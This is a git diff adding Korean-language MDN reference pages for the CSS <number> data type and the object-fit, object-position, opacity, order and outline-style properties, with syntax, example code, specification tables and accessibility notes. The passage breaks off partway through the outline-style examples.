index 0000000000..cc336a6ec2
--- /dev/null
+++ b/files/ko/web/css/number/index.html
@@ -0,0 +1,85 @@
+---
+title: <number>
+slug: Web/CSS/number
+tags:
+  - CSS
+  - CSS Data Type
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/number
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;number&gt;</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/CSS_Types">자료형</a>은 숫자, 즉 정수 또는 실수를 표현합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;number&gt;</code> 구문은 {{cssxref("&lt;integer&gt;")}} 구문을 확장합니다. 소수점 이하 값은 <code>.</code> 뒤로 한 개 이상의 10진수 숫자를 붙여 표현하며, 정수 뒤에 이어 붙일 수 있습니다. 따로 연관지어야 하는 단위는 없습니다.</p>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 <code>&lt;number&gt;</code> 자료형의 값은 유동소수점 실수를 사용해 보간합니다. 보간의 속도는 애니메이션과 연결된 <a href="/ko/docs/Web/CSS/single-transition-timing-function" rel="nofollow">timing function</a>이 결정합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_숫자">유효한 숫자</h3>
+
+<pre class="syntaxbox example-good">12          &lt;integer&gt;는 &lt;number&gt;
+4.01        양의 실수
+-456.8      음의 실수
+0.0         0
++0.0        0, 양의 부호
+-0.0        0, 음의 부호
+.60         앞의 0 없는 소수점 이하 값
+10e3        과학적 표기법
+-3.4e-2     복잡한 과학적 표기법
+</pre>
+
+<h3 id="유효하지_않은_숫자">유효하지 않은 숫자</h3>
+
+<pre class="syntaxbox example-bad">12.         소수점 뒤에 최소 하나의 숫자가 존재해야 함
++-12.2      하나의 +/-만 허용
+12.1.1      하나의 소수점만 허용
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#numbers', '&lt;number&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#numbers', '&lt;number&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Explicit definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '', '&lt;number&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Implicit definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<p>{{Compat("css.types.number")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/object-fit/index.html b/files/ko/web/css/object-fit/index.html
new file mode 100644
index 0000000000..3c44025c12
--- /dev/null
+++ b/files/ko/web/css/object-fit/index.html
@@ -0,0 +1,170 @@
+---
+title: object-fit
+slug: Web/CSS/object-fit
+tags:
+  - CSS
+  - CSS Images
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/object-fit
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>object-fit</code></strong> 속성은 {{HTMLElement("img")}}나 {{HTMLElement("video")}} 요소와 같은 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>의 콘텐츠 크기를 어떤 방식으로 조절해 요소에 맞출 것인지 지정합니다.</p>
+
+<p>{{cssxref("object-position")}} 속성을 사용해 대체 요소 콘텐츠가 콘텐츠 박스 내에 위치할 지점을 바꿀 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/object-fit.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>object-fit</code> 속성은 다음 목록 중 하나의 키워드를 사용해 지정합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>contain</code></dt>
+ <dd>대체 콘텐츠의 가로세로비를 유지하면서, 요소의 콘텐츠 박스 내부에 들어가도록 크기를 맞춤 조절합니다. 콘텐츠가 콘텐츠 박스 크기에 맞도록 하면서도 가로세로비를 유지하게 되므로, 서로의 가로세로비가 일치하지 않으면 객체가 <a href="https://ko.wikipedia.org/wiki/%EB%A0%88%ED%84%B0%EB%B0%95%EC%8A%A4">"레터박스"</a>처럼 됩니다.</dd>
+ <dt><code>cover</code></dt>
+ <dd>대체 콘텐츠의 가로세로비를 유지하면서, 요소 콘텐츠 박스를 가득 채웁니다. 서로의 가로세로비가 일치하지 않으면 객체 일부가 잘려나갑니다.</dd>
+ <dt><code>fill</code></dt>
+ <dd>요소 콘텐츠 박스 크기에 맞춰 대체 콘텐츠의 크기를 조절합니다. 콘텐츠가 콘텐츠 박스를 가득 채웁니다. 서로의 가로세로비가 일치하지 않으면 콘텐츠가 늘어납니다.</dd>
+ <dt><code>none</code></dt>
+ <dd>대체 콘텐츠의 크기를 조절하지 않습니다.</dd>
+ <dt><code>scale-down</code></dt>
+ <dd><code>none</code>과 <code>contain</code> 중 대체 콘텐츠의 크기가 더 작아지는 값을 선택합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="이미지에_object-fit_지정">이미지에 <code>object-fit</code> 지정</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;section&gt;
+  &lt;h2&gt;object-fit: fill&lt;/h2&gt;
+  &lt;img class="fill" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="fill narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;h2&gt;object-fit: contain&lt;/h2&gt;
+  &lt;img class="contain" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="contain narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;h2&gt;object-fit: cover&lt;/h2&gt;
+  &lt;img class="cover" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="cover narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;h2&gt;object-fit: none&lt;/h2&gt;
+  &lt;img class="none" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="none narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;h2&gt;object-fit: scale-down&lt;/h2&gt;
+  &lt;img class="scale-down" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+  &lt;img class="scale-down narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+&lt;/section&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">h2 {
+  font-family: Courier New, monospace;
+  font-size: 1em;
+  margin: 1em 0 0.3em;
+}
+
+div {
+  display: flex;
+  flex-direction: column;
+  flex-wrap: wrap;
+  align-items: flex-start;
+  height: 940px;
+}
+
+img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+}
+
+.narrow {
+  width: 100px;
+  height: 150px;
+  margin-top: 10px;
+}
+
+.fill {
+  object-fit: fill;
+}
+
+.contain {
+  object-fit: contain;
+}
+
+.cover {
+  object-fit: cover;
+}
+
+.none {
+  object-fit: none;
+}
+
+.scale-down {
+  object-fit: scale-down;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('이미지에_object-fit_지정', 500, 1100) }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.object-fit")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>이미지 관련 다른 CSS 속성: {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+ <li>{{cssxref("background-size")}}</li>
+</ul>
diff --git a/files/ko/web/css/object-position/index.html b/files/ko/web/css/object-position/index.html
new file mode 100644
index 0000000000..a53f4e988b
--- /dev/null
+++ b/files/ko/web/css/object-position/index.html
@@ -0,0 +1,123 @@
+---
+title: object-position
+slug: Web/CSS/object-position
+tags:
+  - CSS
+  - CSS Property
+  - Layout
+  - Reference
+  - Replaced Elements
+  - 대체 요소
+translation_of: Web/CSS/object-position
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>object-position</code></strong> 속성은 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>의 콘텐츠 정렬 방식을 지정합니다.</span> 대체 요소의 객체가 덮지 않은 부분은 요소의 배경이 보이게 됩니다.</p>
+
+<p>대체 요소 객체의 고유 크기(수정을 가하지 않은 원래 크기)를 조정해 요소 박스에 맞추는 방법은 {{cssxref("object-fit")}} 속성으로 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/object-position.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* &lt;position&gt; 값 */
+object-position: center top;
+object-position: 100px 50px;
+
+/* 전역 값 */
+object-position: inherit;
+object-position: initial;
+object-position: unset;
+</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;position&gt;")}}</dt>
+ <dd>객체의 2D 위치를 지정하는 한 개에서 네 개의 값. 상대와 절대 오프셋을 사용할 수 있습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> 콘텐츠가 대체 요소의 박스 바깥으로 나가도록 지정할 수도 있습니다.</p>
+</div>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="이미지_콘텐츠_위치_지정">이미지 콘텐츠 위치 지정</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<p>두 개의 {{htmlelement("img")}} 요소가 MDN 로고를 가리키는 코드입니다.</p>
+
+<pre class="brush: html notranslate">&lt;img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/&gt;
+&lt;img id="object-position-2" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>다음 CSS는 두 <code>&lt;img&gt;</code> 요소 모두에 적용할 스타일과 함께, 각각 별도로 적용할 <code>object-position</code> 속성도 지정하고 있습니다.</p>
+
+<pre class="brush: css notranslate">img {
+  width: 300px;
+  height: 250px;
+  border: 1px solid black;
+  background-color: silver;
+  margin-right: 1em;
+  object-fit: none;
+}
+
+#object-position-1 {
+  object-position: 10px;
+}
+
+#object-position-2 {
+  object-position: 100% 10%;
+}
+</pre>
+
+<p>첫 번째 이미지는 요소 박스의 왼쪽 경계로부터 10픽셀 떨어진 곳으로 배치됩니다. 두 번째 이미지는 요소 박스의 오른쪽 경계와 자신의 오른쪽 모서리를 서로 겹치고, 박스의 위쪽 경계로부터 박스 높이의 10% 떨어진 지점으로 배치됩니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('이미지_콘텐츠_위치_지정', '100%','600px') }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-position', 'object-position')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.object-position")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>이미지 관련 다른 CSS 속성: {{cssxref("object-fit")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+</ul>
diff --git a/files/ko/web/css/opacity/index.html b/files/ko/web/css/opacity/index.html
new file mode 100644
index 0000000000..6132b0380a
--- /dev/null
+++ b/files/ko/web/css/opacity/index.html
@@ -0,0 +1,144 @@
+---
+title: opacity
+slug: Web/CSS/opacity
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+  - 색
+translation_of: Web/CSS/opacity
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>opacity</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 불투명도를 설정합니다.</span> 불투명도는 요소 뒤쪽 콘텐츠가 숨겨지는 정도로, 투명도의 반대입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/opacity.html")}}</div>
+
+
+
+<p><code>opacity</code>는 요소의 내용을 포함해 모든 곳에 영향을 주지만 자식 요소가 상속하지는 않습니다. 따라서 요소와 자식의 투명도가 서로 다르더라도 배경에 대해서는 상대적으로 같은 투명도를 갖습니다.</p>
+
+<p><code>opacity</code> 값이 <code>1</code>이 아니면 요소를 새로운 <a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">쌓임 맥락</a>에 배치합니다.</p>
+
+<p>자식 요소는 불투명하게 유지하고 싶다면 {{cssxref("background")}} 속성을 대신 사용하세요.</p>
+
+<pre class="brush:css">background: rgba(0, 0, 0, 0.4);</pre>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;alpha-value&gt;</code></dt>
+ <dd>채널의 불투명도(알파 채널의 값)를 나타내는 <code>0.0</code> 이상 <code>1.0</code> 이하의 {{cssxref("number")}}, 또는 0% 이상 100% 이하의 {{cssxref("percentage")}}. 범위 밖의 숫자는 구문 상 유효하지만, 실제 적용 시에는 범위에 맞춰 나머지 값은 버려집니다.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>값</th>
+    <th>뜻</th>
+   </tr>
+   <tr>
+    <td><code>0</code></td>
+    <td>요소가 완전히 투명해 보이지 않음.</td>
+   </tr>
+   <tr>
+    <td><code>0</code>과 <code>1</code> 사이의 아무 <code>&lt;number&gt;</code></td>
+    <td>요소가 반투명해 뒤의 내용을 볼 수 있음.</td>
+   </tr>
+   <tr>
+    <td><code>1</code> (기본값)</td>
+    <td>요소가 불투명함.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: css">div { background-color: yellow; }
+.light {
+  opacity: 0.2; /* 배경 위로 겨우 볼 수 있음 */
+}
+.medium {
+  opacity: 0.5; /* 배경 위로 조금 더 잘 보임 */
+}
+.heavy {
+  opacity: 0.9; /* 배경 위로 뚜렷하게 보임 */
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="light"&gt;겨우 보이는 글&lt;/div&gt;
+&lt;div class="medium"&gt;좀 더 잘 보이는 글&lt;/div&gt;
+&lt;div class="heavy"&gt;쉽게 보이는 글&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('기본_예제', '640', '64')}}</p>
+
+<h3 id="hover_시_다른_불투명도_적용"><code>:hover</code> 시 다른 불투명도 적용</h3>
+
+<pre class="brush: css">img.opacity {
+  opacity: 1;
+}
+
+img.opacity:hover {
+  opacity: 0.5;
+  filter: alpha(opacity=50);
+  zoom: 1;
+}</pre>
+
+<pre class="brush: html">&lt;img src="//developer.mozilla.org/static/img/opengraph-logo.png"
+  alt="MDN logo" width="128" height="146"
+  class="opacity"&gt;</pre>
+
+<p>{{EmbedLiveSample('hover_시_다른_불투명도_적용', '150', '175')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>글씨의 투명도를 조절했다면, 낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.</p>
+
+<p>색 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 <a href="https://www.w3.org/WAI/standards-guidelines/wcag/">웹 콘텐츠 접근성 가이드라인</a>(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 <a href="/ko/docs/Web/CSS/font-weight">굵은</a> 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'opacity')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>opacity</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#opacity', 'opacity')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.opacity", 2)}}</p>
diff --git a/files/ko/web/css/order/index.html b/files/ko/web/css/order/index.html
new file mode 100644
index 0000000000..8b25e38777
--- /dev/null
+++ b/files/ko/web/css/order/index.html
@@ -0,0 +1,110 @@
+---
+title: order
+slug: Web/CSS/order
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/order
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>order</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 플렉스 또는 그리드 컨테이너 안에서 현재 요소의 배치 순서를 지정합니다.</span> 컨테이너 아이템의 정렬 순서는 오름차순 <code>order</code> 값이고, 같은 값일 경우 소스 코드의 순서대로 정렬됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/order.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;integer&gt; 값 */
+order: 5;
+order: -5;
+
+/* 전역 값 */
+order: inherit;
+order: initial;
+order: unset;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: <code>order</code> 속성은 논리적인 순서나 탭 순서와는 전혀 상관 없이 <strong>화면에 보이는 순서</strong>에만 영향을 줍니다. 따라서 비시각적 매체에 적용해선 안됩니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>아이템의 순서.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:html;">&lt;header&gt;...&lt;/header&gt;
+&lt;main&gt;
+  &lt;article&gt;Article&lt;/article&gt;
+  &lt;nav&gt;Nav&lt;/nav&gt;
+  &lt;aside&gt;Aside&lt;/aside&gt;
+&lt;/main&gt;
+&lt;footer&gt;...&lt;/footer&gt;</pre>
+
+<p>위와 같은 기본적인 HTML에서, 다음 CSS 코드는 콘텐츠 블록을 감싸는, 고전적인 양쪽 사이드바 레이아웃을 만듭니다. Flexible Box Layout 모듈이 자동으로 모든 블록의 높이를 동일하게 하며 가능한 가로축 공간을 모두 분배합니다.</p>
+
+<pre class="brush:css;">main { display: flex;  text-align:center; }
+main &gt; article { flex:1;        order: 2; }
+main &gt; nav     { width: 200px;  order: 1; }
+main &gt; aside   { width: 200px;  order: 3; }</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>order</code> 속성을 사용하면 실제 DOM 순서와 화면에 보여지는 콘텐츠의 순서가 서로 연결되지 않습니다. 이는 낮은 시각으로 스크린 리더 등 보조 기술을 사용해 이동하는 사용자의 경험에 부정적인 영향을 줄 수 있습니다. 시각적 순서(CSS)가 중요하더라도 스크린 리더 사용자는 제대로 된 읽기 순서를 알 수 없습니다.</p>
+
+<ul>
+ <li><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/">Flexbox &amp; the keyboard navigation disconnect — Tink</a></li>
+ <li><a href="http://adrianroselli.com/2015/09/source-order-matters.html">Source Order Matters | Adrian Roselli</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-sequence.html">Understanding Success Criterion 1.3.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#order-property', 'order')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.order")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">플렉스박스의 기본 개념</a></em></li>
+ <li>CSS 플렉스박스 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">플렉스 아이템의 순서 정하기</a></em></li>
+ <li>CSS 그리드 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS 그리드 레이아웃과 접근성</a></em></li>
+</ul>
diff --git a/files/ko/web/css/outline-style/index.html b/files/ko/web/css/outline-style/index.html
new file mode 100644
index 0000000000..cc483e5010
--- /dev/null
+++ b/files/ko/web/css/outline-style/index.html
@@ -0,0 +1,256 @@
+---
+title: outline-style
+slug: Web/CSS/outline-style
+tags:
+  - CSS
+  - CSS Outline
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/outline-style
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>outline-style</code></strong> 속성은 요소 외곽선의 스타일을 설정합니다.</span> 외곽선은 요소의 <a href="/ko/docs/Web/CSS/border">테두리</a> 바깥에 그려지는 선입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline-style.html")}}</div>
+
+
+
+<p>외곽선 외형을 설정할 땐 {{cssxref("outline")}} 단축 속성을 사용하는게 편리한 상황이 많습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+outline-style: auto;
+outline-style: none;
+outline-style: dotted;
+outline-style: dashed;
+outline-style: solid;
+outline-style: double;
+outline-style: groove;
+outline-style: ridge;
+outline-style: inset;
+outline-style: outset;
+
+/* 전역 값 */
+outline-style: inherit;
+outline-style: initial;
+outline-style: unset;
+</pre>
+
+<p><code>outline-style</code> 속성은 다음 값 중 하나를 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>
+ <p><code>auto</code></p>
+ </dt>
+ <dd style="outline: 8px auto red;">사용자 에이전트가 사용자 지정 외곽선을 그릴 수 있도록 허용합니다.</dd>
+ <dt>
+ <p><code>none</code></p>
+ </dt>
+ <dd>외곽선을 제거합니다. {{cssxref("outline-width")}}가 <code>0</code>입니다.</dd>
+ <dt>
+ <p><code>dotted</code></p>
+ </dt>
+ <dd style="outline: 8px dotted red;">외곽선을 점 여러 개로 그립니다.</dd>
+ <dt>
+ <p><code>dashed</code></p>
+ </dt>
+ <dd style="outline: 8px dashed red;">외곽선을 짧은 선 여러 개로 그립니다.</dd>
+ <dt>
+ <p><code>solid</code></p>
+ </dt>
+ <dd style="outline: 8px solid red;">외곽선을 하나의 선으로 그립니다.</dd>
+ <dt>
+ <p><code>double</code></p>
+ </dt>
+ <dd style="outline: 8px double red;">외곽선을 두 개의 선으로 그립니다. {{cssxref("outline-width")}}는 두 선과 그 사이의 간격을 합친 값입니다.</dd>
+ <dt>
+ <p><code>groove</code></p>
+ </dt>
+ <dd style="outline: 8px groove red;">외곽선을 마치 파낸 것처럼 그립니다.</dd>
+ <dt>
+ <p><code>ridge</code></p>
+ </dt>
+ <dd style="outline: 8px ridge red;"><code>groove</code>의 반대입니다. 외곽선을 마치 튀어나온 것처럼 그립니다.</dd>
+ <dt>
+ <p><code>inset</code></p>
+ </dt>
+ <dd style="outline: 8px inset red;">요소가 페이지 안에 박힌 것처럼 외곽선을 그립니다.</dd>
+ <dt>
+ <p><code>outset</code></p>
+ </dt>
+ <dd style="outline: 8px outset red;"><code>inset</code>의 반대입니다. 요소가 페이지 밖으로 나온 것처럼 그립니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="외곽선_스타일을_auto로_설정하기">외곽선 스타일을 <code>auto</code>로 설정하기</h3>
+
+<p><code>auto</code> 값은 사용자 지정 스타일을 의미합니다. <q cite="https://www.w3.org/TR/css-ui-3/#outline-style">일반적으로 플랫폼 기본 사용자 인터페이스 스타일이거나, CSS에서 나타낼 수 있는 것보다 더 풍부한 스타일 (예컨대 둥근 꼭짓점에 바깥쪽 픽셀은 반투명하여 빛나는 것처럼 보이는 외곽선)입니다.</q></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;p class="auto"&gt;Outline Demo&lt;/p&gt;
+&lt;/div&gt; </pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.auto {
+  outline-style: auto; /* same result as "outline: auto" */
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } </pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('외곽선_스타일을_auto로_설정하기') }}</p>
+
+<h3 id="외곽선_스타일을_dashed_dotted로_설정하기">외곽선 스타일을 <code>dashed</code>, <code>dotted</code>로 설정하기</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;div class="dotted"&gt;
+    &lt;p class="dashed"&gt;Outline Demo&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.dotted {
+  outline-style: dotted; /* same result as "outline: dotted" */
+}
+.dashed {
+  outline-style: dashed;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } </pre>
+
+<h4 id="결과_2">결과</h4>
+
